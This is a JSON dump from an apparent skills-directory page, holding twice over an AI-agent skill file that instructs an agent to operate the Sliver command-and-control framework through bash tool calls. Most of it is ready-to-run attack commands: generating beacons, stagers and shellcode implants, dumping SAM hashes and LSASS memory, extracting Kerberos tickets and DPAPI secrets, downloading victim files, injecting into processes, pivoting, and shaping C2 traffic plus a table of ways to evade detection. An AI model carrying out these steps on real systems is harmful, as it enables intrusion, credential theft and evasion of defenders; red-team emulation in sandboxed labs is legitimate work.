[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M78HYHZSW81RRPBH5J9JSWP3":3,"skill-same:01M78HYHZSW81RRPBH5J9JSWP3":55},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":18,"linkOnly":19,"markdownContent":20,"markdownBody":21,"frontMatter":22,"refName":29,"commitSha":30,"skillDirectory":31,"forksCount":13,"repositoryHtmlUrl":32,"repositoryHomepageUrl":6,"ownerHtmlUrl":33,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":34,"install":35,"resources":48},"01M78HYHZSW81RRPBH5J9JSWP3","c2-sliver",null,"Sliver C2 framework operations — server connection, listener setup, implant generation, BOF\u002FArmory extensions, post-implant operations, HTTP C2 profiles.","dnzengou\u002Fevo-decepticon","dnzengou","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F7807581?v=4","01M75KKJA3F5ZP7CA10MB2AEXC","01M78GP0FED2V1CDPB1N6G0CTH",0,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon\u002Fblob\u002Fmain\u002Fpackages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-sliver\u002FSKILL.md",[],[],"2026-11-15 14:19:17",false,"---\nname: c2-sliver\ndescription: \"Sliver C2 framework operations — server connection, listener setup, implant generation, BOF\u002FArmory extensions, post-implant operations, HTTP C2 profiles.\"\nallowed-tools: Bash Read\nmetadata:\n  subdomain: command-and-control\n  when_to_use: \"Sliver, sliver-client, sliver listener, sliver implant, sliver beacon, armory, BOF\"\n  tags: c2, sliver, implant, beacon, listener, bof, armory, pivot\n  mitre_attack: T1071, T1573, T1090, T1105, T1572\n---\n\n# Sliver C2 Framework\n\nSliver is an open-source, cross-platform adversary emulation framework by BishopFox. It supports beacon (async) and session (interactive) implants over mTLS, HTTPS, DNS, and WireGuard channels with multi-operator support.\n\n## Decepticon Setup\n\n> **Server**: `c2-sliver` container on `sandbox-net` (daemon mode, gRPC on port 31337)\n> **Client**: `sliver-client` pre-installed in sandbox\n> **Config**: Auto-generated operator config at `\u002Fworkspace\u002F.sliver-configs\u002Fdecepticon.cfg`\n>\n> ### Connection Procedure (via bash tool)\n> ```\n> # 1. Verify C2 reachable\n> bash(command=\"nc -z c2-sliver 31337 && echo 'C2_OK' || echo 'C2_DOWN'\", description=\"Check the Sliver C2 server is reachable\")\n>\n> # 2. Import operator config (once — skip if already imported)\n> bash(command=\"ls ~\u002F.sliver-client\u002Fconfigs\u002F 2>\u002Fdev\u002Fnull | grep -q . || sliver-client import \u002Fworkspace\u002F.sliver-configs\u002Fdecepticon.cfg\", description=\"Import the Sliver operator config if not already present\")\n>\n> # 3. Start interactive console in dedicated tmux session\n> bash(command=\"sliver-client console\", session=\"c2\", description=\"Open the Sliver client console\")\n>\n> # 4. Run Sliver commands interactively\n> bash(command=\"https --lhost 0.0.0.0 --lport 443 --domain c2-sliver\", is_input=True, session=\"c2\", description=\"Start an HTTPS listener on port 443\")\n> bash(command=\"sessions\", is_input=True, session=\"c2\", description=\"List active Sliver sessions\")\n> ```\n>\n> **IMPORTANT**:\n> - Do NOT generate operator configs manually — use the pre-generated one at `\u002Fworkspace\u002F.sliver-configs\u002Fdecepticon.cfg`\n> - Do NOT start `sliver-server` in sandbox — the server runs in its own container\n> - `sliver-client console` is interactive — MUST use a dedicated session (e.g. `session=\"c2\"`) and send subsequent commands with `is_input=True`\n> - If \"multiple configs found\": `bash(command=\"sliver-client console --config ~\u002F.sliver-client\u002Fconfigs\u002Fdecepticon_c2-sliver.cfg\", session=\"c2\", description=\"Open the Sliver console with the explicit config\")`\n\n## 1. Listener Configuration\n\n> All commands below run inside the Sliver console (`session=\"c2\"`, `is_input=True`).\n\n### HTTPS Listener\n```bash\n# Basic HTTPS listener on 443\nhttps --lhost 0.0.0.0 --lport 443 --domain c2-sliver\n\n# HTTPS with custom certificate (better OPSEC)\nhttps --lhost 0.0.0.0 --lport 443 --domain c2-sliver \\\n    --cert \u002Fworkspace\u002Fcerts\u002Fcert.pem \\\n    --key \u002Fworkspace\u002Fcerts\u002Fkey.pem\n\n# HTTPS with Let's Encrypt (requires DNS control)\nhttps --lhost 0.0.0.0 --lport 443 --domain c2-sliver --lets-encrypt\n```\n\n### DNS Listener\n```bash\n# DNS listener — requires NS record pointing to C2 server\ndns --domains c2.\u003CTARGET> --lport 53\n\n# Verify DNS resolution\ndig @c2-sliver test.c2.\u003CTARGET> TXT +short\n```\n\n### mTLS Listener\n```bash\n# mTLS — encrypted, mutual authentication (recommended for internal pivoting)\nmtls --lhost 0.0.0.0 --lport 8888\n\n# mTLS on non-standard port\nmtls --lhost 0.0.0.0 --lport 8443\n```\n\n### WireGuard Listener\n```bash\n# WireGuard tunnel — full network access through implant\nwg --lhost 0.0.0.0 --lport 51820\n```\n\n## 2. Implant Generation\n\n> **CRITICAL — Compilation Timeout**:\n> Sliver's `generate` command **compiles a Go binary from source**. This takes 2-10 minutes\n> depending on options. The spinner animation (`⠴ Compiling, please wait ...`) keeps the\n> screen active, so stall detection will NOT trigger early.\n>\n> **Rules**:\n> 1. **ALWAYS use `--skip-symbols`** — reduces compilation time from ~5 min to ~30 sec\n> 2. **ALWAYS use `--save \u003Cpath>`** — saves implant directly to the target directory.\n>    Do NOT rely on the default save location and then `cp` — file copy may fail on\n>    bind-mounted volumes (WSL2\u002FNTFS \"Invalid argument\" error).\n> 3. **Use a longer timeout** for generate commands:\n>    `bash(command=\"generate ...\", is_input=True, session=\"c2\", timeout=300, description=\"Generate the Sliver implant\")`\n>\n> **Example (correct)**:\n> ```\n> bash(command=\"generate --os linux --arch amd64 --mtls c2-sliver:8888 --skip-symbols --save \u002Fworkspace\u002Fexploit\u002F\", is_input=True, session=\"c2\", timeout=300, description=\"Generate a Linux mTLS implant into the exploit directory\")\n> ```\n\n### Beacon (Async)\n```bash\n# Windows beacon via mTLS with jitter\ngenerate beacon --mtls c2-sliver:8888 --os windows --arch amd64 \\\n    --seconds 30 --jitter 50 --skip-symbols \\\n    --name win_beacon \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n\n# Windows beacon via HTTPS\ngenerate beacon --https c2-sliver:443 --os windows --arch amd64 \\\n    --seconds 60 --jitter 30 --skip-symbols \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n\n# Linux beacon via DNS (low-and-slow)\ngenerate beacon --dns c2-sliver --os linux --arch amd64 \\\n    --seconds 120 --jitter 70 --skip-symbols \\\n    --name lin_dns \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n```\n\n### Session (Interactive)\n```bash\n# Windows session — persistent connection, immediate response\ngenerate --mtls c2-sliver:8888 --os windows --arch amd64 \\\n    --skip-symbols --name win_session \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n\n# Linux session via HTTPS\ngenerate --https c2-sliver:443 --os linux --arch amd64 \\\n    --skip-symbols --name lin_https \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n```\n\n### Stager (Small Initial Payload)\n```bash\n# TCP stager — downloads full implant after initial execution\ngenerate stager --lhost c2-sliver --lport 8443 --protocol tcp \\\n    --os windows --arch amd64 \\\n    --save \u002Fworkspace\u002Fexploit\u002Fstager.bin\n```\n\n### Shellcode (For Custom Loaders)\n```bash\n# Raw shellcode for process injection \u002F custom droppers\ngenerate --mtls c2-sliver:8888 --os windows --arch amd64 \\\n    --format shellcode --skip-symbols \\\n    --save \u002Fworkspace\u002Fexploit\u002Fshellcode.bin\n```\n\n### Output Formats\n| Format | Flag | Use Case |\n|--------|------|----------|\n| EXE | `--format exe` | Direct execution |\n| Shared library | `--format shared` | DLL sideloading |\n| Shellcode | `--format shellcode` | Injection, custom loaders |\n| Service | `--format service` | Windows service persistence |\n\n### OPSEC: Implant Hardening\n```bash\n# Skip debug symbols (smaller, harder to reverse, MUCH faster compile)\ngenerate --mtls c2-sliver:8888 --os windows --skip-symbols\n\n# Limit implant size\ngenerate --mtls c2-sliver:8888 --os windows --format shellcode --skip-symbols\n```\n\n## 3. Session & Beacon Management\n\n```bash\n# List active sessions \u002F beacons\nsessions\nbeacons\n\n# Interact with session\nuse \u003CSESSION_ID>\n\n# Interact with beacon\nuse \u003CBEACON_ID>\n\n# Background current session\nbackground\n\n# Kill session\nsessions -k \u003CSESSION_ID>\n\n# Rename implant\nrename -n \u003CNEW_NAME>\n```\n\n## 4. Post-Implant Operations\n\n### Host Reconnaissance\n```bash\n# After `use \u003CSESSION_ID>`\nwhoami                         # Current user\ngetuid                         # User ID\ngetgid                         # Group ID\ngetprivs                       # Token privileges\ninfo                           # Full implant info\n\n# System enumeration\nshell systeminfo\nshell ipconfig \u002Fall\nshell net user\nshell net localgroup administrators\nshell tasklist \u002Fv\n\n# Environment\nenv\npwd\nls\n```\n\n### File Operations\n```bash\n# Download from target\ndownload C:\\\\Users\\\\\u003CUSER>\\\\Documents\\\\sensitive.docx \u002Fworkspace\u002Fpost-exploit\u002Floot\u002F\n\n# Upload tool to target\nupload \u002Fworkspace\u002Fexploit\u002Fimplants\u002FSharpHound.exe C:\\\\Windows\\\\Temp\\\\\n\n# List directory\nls C:\\\\Users\\\\\u003CUSER>\\\\Desktop\\\\\n```\n\n### Process Operations\n```bash\n# List processes\nps\n\n# Process injection (migrate to another process for stealth)\nmigrate \u003CPID>\n\n# Execute .NET assembly in memory (no disk touch)\nexecute-assembly \u002Fworkspace\u002Ftools\u002FSeatbelt.exe -group=all\n\n# Sideload DLL (reflective loading)\nsideload \u002Fworkspace\u002Ftools\u002Fmimikatz.dll\n\n# Screenshot\nscreenshot\n\n# Spawn new process\nshell notepad.exe\n```\n\n### Credential Operations\n```bash\n# Dump SAM hashes (requires SYSTEM\u002Fadmin)\nhashdump\n\n# Kerberos ticket extraction\nexecute-assembly \u002Fworkspace\u002Ftools\u002FRubeus.exe dump\n\n# DPAPI credential access\nexecute-assembly \u002Fworkspace\u002Ftools\u002FSharpDPAPI.exe triage\n\n# Comprehensive host audit\nexecute-assembly \u002Fworkspace\u002Ftools\u002FSeatbelt.exe -group=all\n```\n\n## 5. BOF \u002F Armory (In-Memory Extensions)\n\nBeacon Object Files (BOFs) execute position-independent C code in the implant process — no new process creation, no disk writes.\n\n### Armory (Package Manager)\n```bash\n# List available extensions\narmory\n\n# Install extension from armory\narmory install sa-ldapsearch\narmory install nanodump\narmory install credman\narmory install situational-awareness\n\n# Update all installed extensions\narmory update\n```\n\n### BOF Execution\n```bash\n# LDAP enumeration (no LDAP tool needed on target)\nsa-ldapsearch -- \"(objectClass=user)\"\nsa-ldapsearch -- \"(objectClass=computer)\"\n\n# Process dump with nanodump (LSASS without Mimikatz)\nnanodump -w C:\\\\Windows\\\\Temp\\\\debug.dmp\n\n# Credential manager access\ncredman\n\n# Situational awareness (whoami, env, network)\nsituational-awareness\n```\n\n### Why BOFs Over execute-assembly\n| Feature | BOF | execute-assembly |\n|---------|-----|------------------|\n| Process creation | None (runs in implant) | Fork & run (new process) |\n| Disk artifacts | None | .NET assembly loaded |\n| EDR visibility | Low (in-process) | Medium (CLR load event) |\n| Size | Small (KBs) | Larger (full .NET binary) |\n| Flexibility | C only | Any .NET assembly |\n\n## 6. Network & Pivot Operations\n\n### SOCKS5 Proxy\n```bash\n# Route traffic through implant into target network\nsocks5 start -p 1080\n\n# Use from sandbox with proxychains:\n#   proxychains nmap -sT -On \u003CINTERNAL_HOST>\n```\n\n### Port Forwarding\n```bash\n# Forward local port to remote service through implant\nportfwd add -b 127.0.0.1:9090 -r \u003CINTERNAL_HOST>:445\n\n# List active port forwards\nportfwd\n\n# Remove forward\nportfwd rm -i \u003CID>\n```\n\n### Reverse Port Forwarding\n```bash\n# Expose sandbox service to target network via implant\nrportfwd add -b \u003CINTERNAL_HOST>:8080 -r 127.0.0.1:8080\n```\n\n### Pivot Listener\n```bash\n# Create pivot listener on compromised host — new implants connect through it\npivots tcp --bind 0.0.0.0:9898\n\n# Generate implant that connects via pivot\ngenerate --tcp-pivot \u003CPIVOT_HOST>:9898 --os windows\n```\n\n### WireGuard Pivot\n```bash\n# WireGuard port forward for full tunnel\nwg-portfwd add --remote \u003CINTERNAL_HOST>:3389 --bind 127.0.0.1:3389\n```\n\n## 7. HTTP C2 Profile\n\nCustom profiles shape C2 traffic to mimic legitimate application traffic.\n\n```json\n{\n    \"implant_config\": {\n        \"user_agent\": \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\",\n        \"url_parameters\": [\n            { \"name\": \"session\", \"value\": \"{{.GUID}}\", \"probability\": 100 }\n        ],\n        \"headers\": [\n            { \"name\": \"Accept\", \"value\": \"text\u002Fhtml,application\u002Fxhtml+xml\", \"probability\": 100 },\n            { \"name\": \"Accept-Language\", \"value\": \"en-US,en;q=0.9\", \"probability\": 100 }\n        ]\n    },\n    \"server_config\": {\n        \"headers\": [\n            { \"name\": \"Content-Type\", \"value\": \"text\u002Fhtml; charset=utf-8\", \"probability\": 100 },\n            { \"name\": \"Server\", \"value\": \"Microsoft-IIS\u002F10.0\", \"probability\": 100 },\n            { \"name\": \"X-Powered-By\", \"value\": \"ASP.NET\", \"probability\": 100 }\n        ]\n    }\n}\n```\n\nSave to `profiles\u002Fsliver_https.json` and apply when starting HTTPS listener.\n\n## 8. Detection Signatures (Sliver-Specific)\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| Default HTTP headers | `Server: Apache\u002F2.4.x` + unique header combo | Use custom HTTP C2 profile |\n| Default URI patterns | `\u002Flogin.php`, `\u002Fadmin\u002Flogin`, `\u002Findex.php` | Custom URI paths |\n| mTLS on non-standard ports | Outbound to unusual port (8888) | Use 443\u002F8443 |\n| DNS TXT encoding | Base64 TXT > 255 bytes | Fragment, short polling |\n| Implant file hashes | Known Sliver samples in VirusTotal | `--skip-symbols`, custom loaders |\n| JA3\u002FJA3S fingerprints | TLS patterns unique to Sliver | Process injection into browser |\n\n## 9. Validation Criteria\n\n- [ ] `sliver-client` connects to `c2-sliver` server successfully\n- [ ] At least one listener active (HTTPS or mTLS)\n- [ ] Implant generated for target OS\u002Farchitecture\n- [ ] Beacon callback confirmed with appropriate jitter\n- [ ] Session interaction works (`whoami`, `ps`, `ls`)\n- [ ] File upload\u002Fdownload operational\n- [ ] BOF execution validated (armory install + run)\n- [ ] Pivot infrastructure tested (SOCKS5 or port forward)\n- [ ] Backup C2 channel available (DNS fallback)\n- [ ] All C2 traffic encrypted\n\n## Bundled Resources\n\n### References\n- `references\u002Fsliver-quickstart.md` — Compact command reference for Sliver architecture, listeners, implant generation, post-implant ops, pivoting, and OPSEC.\n","# Sliver C2 Framework\n\nSliver is an open-source, cross-platform adversary emulation framework by BishopFox. It supports beacon (async) and session (interactive) implants over mTLS, HTTPS, DNS, and WireGuard channels with multi-operator support.\n\n## Decepticon Setup\n\n> **Server**: `c2-sliver` container on `sandbox-net` (daemon mode, gRPC on port 31337)\n> **Client**: `sliver-client` pre-installed in sandbox\n> **Config**: Auto-generated operator config at `\u002Fworkspace\u002F.sliver-configs\u002Fdecepticon.cfg`\n>\n> ### Connection Procedure (via bash tool)\n> ```\n> # 1. Verify C2 reachable\n> bash(command=\"nc -z c2-sliver 31337 && echo 'C2_OK' || echo 'C2_DOWN'\", description=\"Check the Sliver C2 server is reachable\")\n>\n> # 2. Import operator config (once — skip if already imported)\n> bash(command=\"ls ~\u002F.sliver-client\u002Fconfigs\u002F 2>\u002Fdev\u002Fnull | grep -q . || sliver-client import \u002Fworkspace\u002F.sliver-configs\u002Fdecepticon.cfg\", description=\"Import the Sliver operator config if not already present\")\n>\n> # 3. Start interactive console in dedicated tmux session\n> bash(command=\"sliver-client console\", session=\"c2\", description=\"Open the Sliver client console\")\n>\n> # 4. Run Sliver commands interactively\n> bash(command=\"https --lhost 0.0.0.0 --lport 443 --domain c2-sliver\", is_input=True, session=\"c2\", description=\"Start an HTTPS listener on port 443\")\n> bash(command=\"sessions\", is_input=True, session=\"c2\", description=\"List active Sliver sessions\")\n> ```\n>\n> **IMPORTANT**:\n> - Do NOT generate operator configs manually — use the pre-generated one at `\u002Fworkspace\u002F.sliver-configs\u002Fdecepticon.cfg`\n> - Do NOT start `sliver-server` in sandbox — the server runs in its own container\n> - `sliver-client console` is interactive — MUST use a dedicated session (e.g. `session=\"c2\"`) and send subsequent commands with `is_input=True`\n> - If \"multiple configs found\": `bash(command=\"sliver-client console --config ~\u002F.sliver-client\u002Fconfigs\u002Fdecepticon_c2-sliver.cfg\", session=\"c2\", description=\"Open the Sliver console with the explicit config\")`\n\n## 1. Listener Configuration\n\n> All commands below run inside the Sliver console (`session=\"c2\"`, `is_input=True`).\n\n### HTTPS Listener\n```bash\n# Basic HTTPS listener on 443\nhttps --lhost 0.0.0.0 --lport 443 --domain c2-sliver\n\n# HTTPS with custom certificate (better OPSEC)\nhttps --lhost 0.0.0.0 --lport 443 --domain c2-sliver \\\n    --cert \u002Fworkspace\u002Fcerts\u002Fcert.pem \\\n    --key \u002Fworkspace\u002Fcerts\u002Fkey.pem\n\n# HTTPS with Let's Encrypt (requires DNS control)\nhttps --lhost 0.0.0.0 --lport 443 --domain c2-sliver --lets-encrypt\n```\n\n### DNS Listener\n```bash\n# DNS listener — requires NS record pointing to C2 server\ndns --domains c2.\u003CTARGET> --lport 53\n\n# Verify DNS resolution\ndig @c2-sliver test.c2.\u003CTARGET> TXT +short\n```\n\n### mTLS Listener\n```bash\n# mTLS — encrypted, mutual authentication (recommended for internal pivoting)\nmtls --lhost 0.0.0.0 --lport 8888\n\n# mTLS on non-standard port\nmtls --lhost 0.0.0.0 --lport 8443\n```\n\n### WireGuard Listener\n```bash\n# WireGuard tunnel — full network access through implant\nwg --lhost 0.0.0.0 --lport 51820\n```\n\n## 2. Implant Generation\n\n> **CRITICAL — Compilation Timeout**:\n> Sliver's `generate` command **compiles a Go binary from source**. This takes 2-10 minutes\n> depending on options. The spinner animation (`⠴ Compiling, please wait ...`) keeps the\n> screen active, so stall detection will NOT trigger early.\n>\n> **Rules**:\n> 1. **ALWAYS use `--skip-symbols`** — reduces compilation time from ~5 min to ~30 sec\n> 2. **ALWAYS use `--save \u003Cpath>`** — saves implant directly to the target directory.\n>    Do NOT rely on the default save location and then `cp` — file copy may fail on\n>    bind-mounted volumes (WSL2\u002FNTFS \"Invalid argument\" error).\n> 3. **Use a longer timeout** for generate commands:\n>    `bash(command=\"generate ...\", is_input=True, session=\"c2\", timeout=300, description=\"Generate the Sliver implant\")`\n>\n> **Example (correct)**:\n> ```\n> bash(command=\"generate --os linux --arch amd64 --mtls c2-sliver:8888 --skip-symbols --save \u002Fworkspace\u002Fexploit\u002F\", is_input=True, session=\"c2\", timeout=300, description=\"Generate a Linux mTLS implant into the exploit directory\")\n> ```\n\n### Beacon (Async)\n```bash\n# Windows beacon via mTLS with jitter\ngenerate beacon --mtls c2-sliver:8888 --os windows --arch amd64 \\\n    --seconds 30 --jitter 50 --skip-symbols \\\n    --name win_beacon \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n\n# Windows beacon via HTTPS\ngenerate beacon --https c2-sliver:443 --os windows --arch amd64 \\\n    --seconds 60 --jitter 30 --skip-symbols \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n\n# Linux beacon via DNS (low-and-slow)\ngenerate beacon --dns c2-sliver --os linux --arch amd64 \\\n    --seconds 120 --jitter 70 --skip-symbols \\\n    --name lin_dns \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n```\n\n### Session (Interactive)\n```bash\n# Windows session — persistent connection, immediate response\ngenerate --mtls c2-sliver:8888 --os windows --arch amd64 \\\n    --skip-symbols --name win_session \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n\n# Linux session via HTTPS\ngenerate --https c2-sliver:443 --os linux --arch amd64 \\\n    --skip-symbols --name lin_https \\\n    --save \u002Fworkspace\u002Fexploit\u002F\n```\n\n### Stager (Small Initial Payload)\n```bash\n# TCP stager — downloads full implant after initial execution\ngenerate stager --lhost c2-sliver --lport 8443 --protocol tcp \\\n    --os windows --arch amd64 \\\n    --save \u002Fworkspace\u002Fexploit\u002Fstager.bin\n```\n\n### Shellcode (For Custom Loaders)\n```bash\n# Raw shellcode for process injection \u002F custom droppers\ngenerate --mtls c2-sliver:8888 --os windows --arch amd64 \\\n    --format shellcode --skip-symbols \\\n    --save \u002Fworkspace\u002Fexploit\u002Fshellcode.bin\n```\n\n### Output Formats\n| Format | Flag | Use Case |\n|--------|------|----------|\n| EXE | `--format exe` | Direct execution |\n| Shared library | `--format shared` | DLL sideloading |\n| Shellcode | `--format shellcode` | Injection, custom loaders |\n| Service | `--format service` | Windows service persistence |\n\n### OPSEC: Implant Hardening\n```bash\n# Skip debug symbols (smaller, harder to reverse, MUCH faster compile)\ngenerate --mtls c2-sliver:8888 --os windows --skip-symbols\n\n# Limit implant size\ngenerate --mtls c2-sliver:8888 --os windows --format shellcode --skip-symbols\n```\n\n## 3. Session & Beacon Management\n\n```bash\n# List active sessions \u002F beacons\nsessions\nbeacons\n\n# Interact with session\nuse \u003CSESSION_ID>\n\n# Interact with beacon\nuse \u003CBEACON_ID>\n\n# Background current session\nbackground\n\n# Kill session\nsessions -k \u003CSESSION_ID>\n\n# Rename implant\nrename -n \u003CNEW_NAME>\n```\n\n## 4. Post-Implant Operations\n\n### Host Reconnaissance\n```bash\n# After `use \u003CSESSION_ID>`\nwhoami                         # Current user\ngetuid                         # User ID\ngetgid                         # Group ID\ngetprivs                       # Token privileges\ninfo                           # Full implant info\n\n# System enumeration\nshell systeminfo\nshell ipconfig \u002Fall\nshell net user\nshell net localgroup administrators\nshell tasklist \u002Fv\n\n# Environment\nenv\npwd\nls\n```\n\n### File Operations\n```bash\n# Download from target\ndownload C:\\\\Users\\\\\u003CUSER>\\\\Documents\\\\sensitive.docx \u002Fworkspace\u002Fpost-exploit\u002Floot\u002F\n\n# Upload tool to target\nupload \u002Fworkspace\u002Fexploit\u002Fimplants\u002FSharpHound.exe C:\\\\Windows\\\\Temp\\\\\n\n# List directory\nls C:\\\\Users\\\\\u003CUSER>\\\\Desktop\\\\\n```\n\n### Process Operations\n```bash\n# List processes\nps\n\n# Process injection (migrate to another process for stealth)\nmigrate \u003CPID>\n\n# Execute .NET assembly in memory (no disk touch)\nexecute-assembly \u002Fworkspace\u002Ftools\u002FSeatbelt.exe -group=all\n\n# Sideload DLL (reflective loading)\nsideload \u002Fworkspace\u002Ftools\u002Fmimikatz.dll\n\n# Screenshot\nscreenshot\n\n# Spawn new process\nshell notepad.exe\n```\n\n### Credential Operations\n```bash\n# Dump SAM hashes (requires SYSTEM\u002Fadmin)\nhashdump\n\n# Kerberos ticket extraction\nexecute-assembly \u002Fworkspace\u002Ftools\u002FRubeus.exe dump\n\n# DPAPI credential access\nexecute-assembly \u002Fworkspace\u002Ftools\u002FSharpDPAPI.exe triage\n\n# Comprehensive host audit\nexecute-assembly \u002Fworkspace\u002Ftools\u002FSeatbelt.exe -group=all\n```\n\n## 5. BOF \u002F Armory (In-Memory Extensions)\n\nBeacon Object Files (BOFs) execute position-independent C code in the implant process — no new process creation, no disk writes.\n\n### Armory (Package Manager)\n```bash\n# List available extensions\narmory\n\n# Install extension from armory\narmory install sa-ldapsearch\narmory install nanodump\narmory install credman\narmory install situational-awareness\n\n# Update all installed extensions\narmory update\n```\n\n### BOF Execution\n```bash\n# LDAP enumeration (no LDAP tool needed on target)\nsa-ldapsearch -- \"(objectClass=user)\"\nsa-ldapsearch -- \"(objectClass=computer)\"\n\n# Process dump with nanodump (LSASS without Mimikatz)\nnanodump -w C:\\\\Windows\\\\Temp\\\\debug.dmp\n\n# Credential manager access\ncredman\n\n# Situational awareness (whoami, env, network)\nsituational-awareness\n```\n\n### Why BOFs Over execute-assembly\n| Feature | BOF | execute-assembly |\n|---------|-----|------------------|\n| Process creation | None (runs in implant) | Fork & run (new process) |\n| Disk artifacts | None | .NET assembly loaded |\n| EDR visibility | Low (in-process) | Medium (CLR load event) |\n| Size | Small (KBs) | Larger (full .NET binary) |\n| Flexibility | C only | Any .NET assembly |\n\n## 6. Network & Pivot Operations\n\n### SOCKS5 Proxy\n```bash\n# Route traffic through implant into target network\nsocks5 start -p 1080\n\n# Use from sandbox with proxychains:\n#   proxychains nmap -sT -On \u003CINTERNAL_HOST>\n```\n\n### Port Forwarding\n```bash\n# Forward local port to remote service through implant\nportfwd add -b 127.0.0.1:9090 -r \u003CINTERNAL_HOST>:445\n\n# List active port forwards\nportfwd\n\n# Remove forward\nportfwd rm -i \u003CID>\n```\n\n### Reverse Port Forwarding\n```bash\n# Expose sandbox service to target network via implant\nrportfwd add -b \u003CINTERNAL_HOST>:8080 -r 127.0.0.1:8080\n```\n\n### Pivot Listener\n```bash\n# Create pivot listener on compromised host — new implants connect through it\npivots tcp --bind 0.0.0.0:9898\n\n# Generate implant that connects via pivot\ngenerate --tcp-pivot \u003CPIVOT_HOST>:9898 --os windows\n```\n\n### WireGuard Pivot\n```bash\n# WireGuard port forward for full tunnel\nwg-portfwd add --remote \u003CINTERNAL_HOST>:3389 --bind 127.0.0.1:3389\n```\n\n## 7. HTTP C2 Profile\n\nCustom profiles shape C2 traffic to mimic legitimate application traffic.\n\n```json\n{\n    \"implant_config\": {\n        \"user_agent\": \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36\",\n        \"url_parameters\": [\n            { \"name\": \"session\", \"value\": \"{{.GUID}}\", \"probability\": 100 }\n        ],\n        \"headers\": [\n            { \"name\": \"Accept\", \"value\": \"text\u002Fhtml,application\u002Fxhtml+xml\", \"probability\": 100 },\n            { \"name\": \"Accept-Language\", \"value\": \"en-US,en;q=0.9\", \"probability\": 100 }\n        ]\n    },\n    \"server_config\": {\n        \"headers\": [\n            { \"name\": \"Content-Type\", \"value\": \"text\u002Fhtml; charset=utf-8\", \"probability\": 100 },\n            { \"name\": \"Server\", \"value\": \"Microsoft-IIS\u002F10.0\", \"probability\": 100 },\n            { \"name\": \"X-Powered-By\", \"value\": \"ASP.NET\", \"probability\": 100 }\n        ]\n    }\n}\n```\n\nSave to `profiles\u002Fsliver_https.json` and apply when starting HTTPS listener.\n\n## 8. Detection Signatures (Sliver-Specific)\n\n| Indicator | Pattern | Mitigation |\n|-----------|---------|------------|\n| Default HTTP headers | `Server: Apache\u002F2.4.x` + unique header combo | Use custom HTTP C2 profile |\n| Default URI patterns | `\u002Flogin.php`, `\u002Fadmin\u002Flogin`, `\u002Findex.php` | Custom URI paths |\n| mTLS on non-standard ports | Outbound to unusual port (8888) | Use 443\u002F8443 |\n| DNS TXT encoding | Base64 TXT > 255 bytes | Fragment, short polling |\n| Implant file hashes | Known Sliver samples in VirusTotal | `--skip-symbols`, custom loaders |\n| JA3\u002FJA3S fingerprints | TLS patterns unique to Sliver | Process injection into browser |\n\n## 9. Validation Criteria\n\n- [ ] `sliver-client` connects to `c2-sliver` server successfully\n- [ ] At least one listener active (HTTPS or mTLS)\n- [ ] Implant generated for target OS\u002Farchitecture\n- [ ] Beacon callback confirmed with appropriate jitter\n- [ ] Session interaction works (`whoami`, `ps`, `ls`)\n- [ ] File upload\u002Fdownload operational\n- [ ] BOF execution validated (armory install + run)\n- [ ] Pivot infrastructure tested (SOCKS5 or port forward)\n- [ ] Backup C2 channel available (DNS fallback)\n- [ ] All C2 traffic encrypted\n\n## Bundled Resources\n\n### References\n- `references\u002Fsliver-quickstart.md` — Compact command reference for Sliver architecture, listeners, implant generation, post-implant ops, pivoting, and OPSEC.\n",{"name":5,"metadata":23,"description":7,"allowed-tools":28},{"tags":24,"subdomain":25,"when_to_use":26,"mitre_attack":27},"c2, sliver, implant, beacon, listener, bof, armory, pivot","command-and-control","Sliver, sliver-client, sliver listener, sliver implant, sliver beacon, armory, BOF","T1071, T1573, T1090, T1105, T1572","Bash Read","main","376de63e2b186eeb9856476ae89186e62b1d3fbe","packages\u002Fdecepticon\u002Fdecepticon\u002Fskills\u002Fstandard\u002Fpost-exploit\u002Fc2-sliver","https:\u002F\u002Fgithub.com\u002Fdnzengou\u002Fevo-decepticon","https:\u002F\u002Fgithub.com\u002Fdnzengou","2026-11-09 16:34:40",{"source":8,"skillName":5,"commands":36,"prompt":46,"zipAvailable":47},[37,40,43],{"tool":38,"command":39},"npx","npx skills add dnzengou\u002Fevo-decepticon --skill c2-sliver",{"tool":41,"command":42},"bunx","bunx skills add dnzengou\u002Fevo-decepticon --skill c2-sliver",{"tool":44,"command":45},"pnpm","pnpm dlx skills add dnzengou\u002Fevo-decepticon --skill 